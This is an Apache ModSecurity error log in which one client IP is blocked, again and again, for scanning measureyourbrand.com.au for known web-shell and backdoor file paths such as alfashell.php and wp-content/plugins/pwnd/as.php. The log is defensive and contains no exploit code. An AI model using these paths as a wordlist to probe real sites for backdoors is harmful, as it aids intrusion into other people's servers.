[Fri Apr 17 03:51:15.544363 2026] [:error] [pid 9152:tid 9205] [client 20.166.31.184:29499] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeE9s5JYca8I3TNCwIfI3QAAAE8"]
[Fri Apr 17 03:51:16.064866 2026] [:error] [pid 9152:tid 9192] [client 20.166.31.184:29066] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeE9tJJYca8I3TNCwIfI4AAAAEI"]
[Fri Apr 17 03:51:16.657928 2026] [:error] [pid 9152:tid 9190] [client 20.166.31.184:38347] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeE9tJJYca8I3TNCwIfI4wAAAEA"]
[Fri Apr 17 03:51:17.261995 2026] [:error] [pid 9263:tid 9271] [client 20.166.31.184:29485] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aeE9tRP68VyHNvj1e56DBgAAAMY"]
[Fri Apr 17 03:51:17.784441 2026] [:error] [pid 9153:tid 9241] [client 20.166.31.184:35859] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeE9teMHGxkTZX3c45eoYgAAAJc"]
[Fri Apr 17 03:51:18.328438 2026] [:error] [pid 9153:tid 9233] [client 20.166.31.184:38573] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeE9tuMHGxkTZX3c45eoZgAAAI8"]
[Fri Apr 17 03:51:18.860895 2026] [:error] [pid 9263:tid 9267] [client 20.166.31.184:26044] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeE9thP68VyHNvj1e56DCgAAAMI"]
[Fri Apr 17 03:51:19.413050 2026] [:error] [pid 9153:tid 9229] [client 20.166.31.184:35882] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gssdd.php"] [unique_id "aeE9t-MHGxkTZX3c45eoawAAAIs"]
[Fri Apr 17 03:51:20.088565 2026] [:error] [pid 9152:tid 9209] [client 20.166.31.184:24033] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeE9uJJYca8I3TNCwIfI6QAAAFM"]
[Fri Apr 17 03:51:20.617670 2026] [:error] [pid 9263:tid 9268] [client 20.166.31.184:32758] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeE9uBP68VyHNvj1e56DEwAAAMM"]
[Fri Apr 17 03:51:21.163606 2026] [:error] [pid 9263:tid 9280] [client 20.166.31.184:32752] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeE9uRP68VyHNvj1e56DFgAAAM8"]
[Fri Apr 17 03:51:21.809282 2026] [:error] [pid 9263:tid 9272] [client 20.166.31.184:32699] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aeE9uRP68VyHNvj1e56DHAAAAMc"]
[Fri Apr 17 03:51:22.376925 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:38371] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeE9uhP68VyHNvj1e56DHwAAAM0"]
[Fri Apr 17 03:51:22.931859 2026] [:error] [pid 9153:tid 9228] [client 20.166.31.184:26277] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeE9uuMHGxkTZX3c45eoewAAAIo"]
[Fri Apr 17 03:51:23.510752 2026] [:error] [pid 9263:tid 9275] [client 20.166.31.184:35844] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeE9uxP68VyHNvj1e56DIQAAAMo"]
[Fri Apr 17 03:51:24.095429 2026] [:error] [pid 9151:tid 9161] [client 20.166.31.184:21290] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aeE9vMhTVuRPkua22vRezQAAAAA"]
[Fri Apr 17 03:51:24.643123 2026] [:error] [pid 9151:tid 9180] [client 20.166.31.184:35875] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "aeE9vMhTVuRPkua22vRe0QAAABM"]
[Fri Apr 17 03:51:25.172267 2026] [:error] [pid 9152:tid 9205] [client 20.166.31.184:21295] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "aeE9vZJYca8I3TNCwIfI9gAAAE8"]
[Fri Apr 17 03:51:25.723792 2026] [:error] [pid 9151:tid 9168] [client 20.166.31.184:26299] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "aeE9vchTVuRPkua22vRe2AAAAAc"]
[Fri Apr 17 03:51:26.264844 2026] [:error] [pid 9151:tid 9167] [client 20.166.31.184:26043] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "aeE9vshTVuRPkua22vRe2wAAAAY"]
[Fri Apr 17 03:51:26.789993 2026] [:error] [pid 9151:tid 9163] [client 20.166.31.184:20878] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeE9vshTVuRPkua22vRe3QAAAAI"]
[Fri Apr 17 03:51:27.355160 2026] [:error] [pid 9152:tid 9198] [client 20.166.31.184:32678] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeE9v5JYca8I3TNCwIfJAQAAAEg"]
[Fri Apr 17 03:51:27.943803 2026] [:error] [pid 9151:tid 9170] [client 20.166.31.184:26280] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeE9v8hTVuRPkua22vRe3gAAAAk"]
[Fri Apr 17 03:51:28.515867 2026] [:error] [pid 9152:tid 9193] [client 20.166.31.184:35896] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeE9wJJYca8I3TNCwIfJBwAAAEM"]
[Fri Apr 17 03:51:29.066728 2026] [:error] [pid 9151:tid 9161] [client 20.166.31.184:21254] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeE9wchTVuRPkua22vRe5AAAAAA"]
[Fri Apr 17 03:51:29.689858 2026] [:error] [pid 9152:tid 9212] [client 20.166.31.184:29115] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeE9wZJYca8I3TNCwIfJCgAAAFY"]
[Fri Apr 17 03:51:30.234628 2026] [:error] [pid 9153:tid 9220] [client 20.166.31.184:23874] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeE9wuMHGxkTZX3c45eonQAAAII"]
[Fri Apr 17 03:51:30.871110 2026] [:error] [pid 9153:tid 9223] [client 20.166.31.184:32656] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aeE9wuMHGxkTZX3c45eoogAAAIU"]
[Fri Apr 17 03:51:31.435181 2026] [:error] [pid 9151:tid 9164] [client 20.166.31.184:23920] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aeE9w8hTVuRPkua22vRe6wAAAAM"]
[Fri Apr 17 03:51:32.070522 2026] [:error] [pid 9153:tid 9229] [client 20.166.31.184:32669] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aeE9xOMHGxkTZX3c45eorAAAAIs"]
[Fri Apr 17 03:51:32.702960 2026] [:error] [pid 9151:tid 9163] [client 20.166.31.184:32683] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aeE9xMhTVuRPkua22vRe8QAAAAI"]
[Fri Apr 17 03:51:33.268542 2026] [:error] [pid 9263:tid 9272] [client 20.166.31.184:38543] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "aeE9xRP68VyHNvj1e56DLQAAAMc"]
[Fri Apr 17 03:51:33.841902 2026] [:error] [pid 9263:tid 9278] [client 20.166.31.184:29488] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeE9xRP68VyHNvj1e56DMQAAAM0"]
[Fri Apr 17 03:51:34.459074 2026] [:error] [pid 9263:tid 9289] [client 20.166.31.184:20865] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeE9xhP68VyHNvj1e56DNgAAANg"]
[Fri Apr 17 03:51:35.026592 2026] [:error] [pid 9263:tid 9265] [client 20.166.31.184:24053] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeE9xxP68VyHNvj1e56DOgAAAMA"]
[Fri Apr 17 03:51:35.675319 2026] [:error] [pid 9151:tid 9178] [client 20.166.31.184:15410] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "aeE9x8hTVuRPkua22vRe-gAAABE"]
[Fri Apr 17 03:51:36.183745 2026] [:error] [pid 9152:tid 9199] [client 20.166.31.184:38390] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeE9yJJYca8I3TNCwIfJGQAAAEk"]
[Fri Apr 17 03:51:36.953413 2026] [:error] [pid 9263:tid 9269] [client 20.166.31.184:29067] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeE9yBP68VyHNvj1e56DQQAAAMQ"]
[Fri Apr 17 03:51:37.595895 2026] [:error] [pid 9152:tid 9209] [client 20.166.31.184:17790] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeE9yZJYca8I3TNCwIfJHwAAAFM"]
[Fri Apr 17 03:51:38.163120 2026] [:error] [pid 9263:tid 9275] [client 20.166.31.184:35717] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acp.php"] [unique_id "aeE9yhP68VyHNvj1e56DRgAAAMo"]
[Fri Apr 17 03:51:38.728017 2026] [:error] [pid 9263:tid 9270] [client 20.166.31.184:26271] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeE9yhP68VyHNvj1e56DRwAAAMU"]
[Fri Apr 17 03:51:39.246158 2026] [:error] [pid 9263:tid 9277] [client 20.166.31.184:35862] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeE9yxP68VyHNvj1e56DTAAAAMw"]
[Fri Apr 17 03:51:39.795708 2026] [:error] [pid 9152:tid 9191] [client 20.166.31.184:32745] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeE9y5JYca8I3TNCwIfJJgAAAEE"]
[Fri Apr 17 03:51:40.358643 2026] [:error] [pid 9151:tid 9174] [client 20.166.31.184:24014] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file48.php"] [unique_id "aeE9zMhTVuRPkua22vRfAQAAAA0"]
[Fri Apr 17 03:51:40.927182 2026] [:error] [pid 9151:tid 9163] [client 20.166.31.184:38385] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aeE9zMhTVuRPkua22vRfBAAAAAI"]
[Fri Apr 17 03:51:41.446663 2026] [:error] [pid 9153:tid 9224] [client 20.166.31.184:35842] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aeE9zeMHGxkTZX3c45eozwAAAIY"]
[Fri Apr 17 03:51:42.040997 2026] [:error] [pid 9153:tid 9225] [client 20.166.31.184:32670] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aeE9zuMHGxkTZX3c45eo0QAAAIc"]
[Fri Apr 17 03:51:42.625820 2026] [:error] [pid 9152:tid 9208] [client 20.166.31.184:29095] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g.php"] [unique_id "aeE9zpJYca8I3TNCwIfJMAAAAFI"]
[Fri Apr 17 03:51:43.211419 2026] [:error] [pid 9151:tid 9166] [client 20.166.31.184:29109] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeE9z8hTVuRPkua22vRfBwAAAAU"]
[Fri Apr 17 03:51:43.784830 2026] [:error] [pid 9263:tid 9281] [client 20.166.31.184:26027] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeE9zxP68VyHNvj1e56DWQAAANA"]
[Fri Apr 17 03:51:44.354588 2026] [:error] [pid 9151:tid 9178] [client 20.166.31.184:35723] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeE90MhTVuRPkua22vRfCgAAABE"]
[Fri Apr 17 03:51:44.880915 2026] [:error] [pid 9152:tid 9212] [client 20.166.31.184:26291] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeE90JJYca8I3TNCwIfJOQAAAFY"]
[Fri Apr 17 03:51:45.381528 2026] [:error] [pid 9153:tid 9220] [client 20.166.31.184:29462] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aeE90eMHGxkTZX3c45eo1QAAAII"]
[Fri Apr 17 03:51:45.913118 2026] [:error] [pid 9151:tid 9175] [client 20.166.31.184:35721] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aeE90chTVuRPkua22vRfDwAAAA4"]
[Fri Apr 17 03:51:46.421218 2026] [:error] [pid 9152:tid 9198] [client 20.166.31.184:26272] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aeE90pJYca8I3TNCwIfJPQAAAEg"]
[Fri Apr 17 03:51:46.968453 2026] [:error] [pid 9152:tid 9195] [client 20.166.31.184:29471] [client 20.166.31.184] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aeE90pJYca8I3TNCwIfJQQAAAEU"]
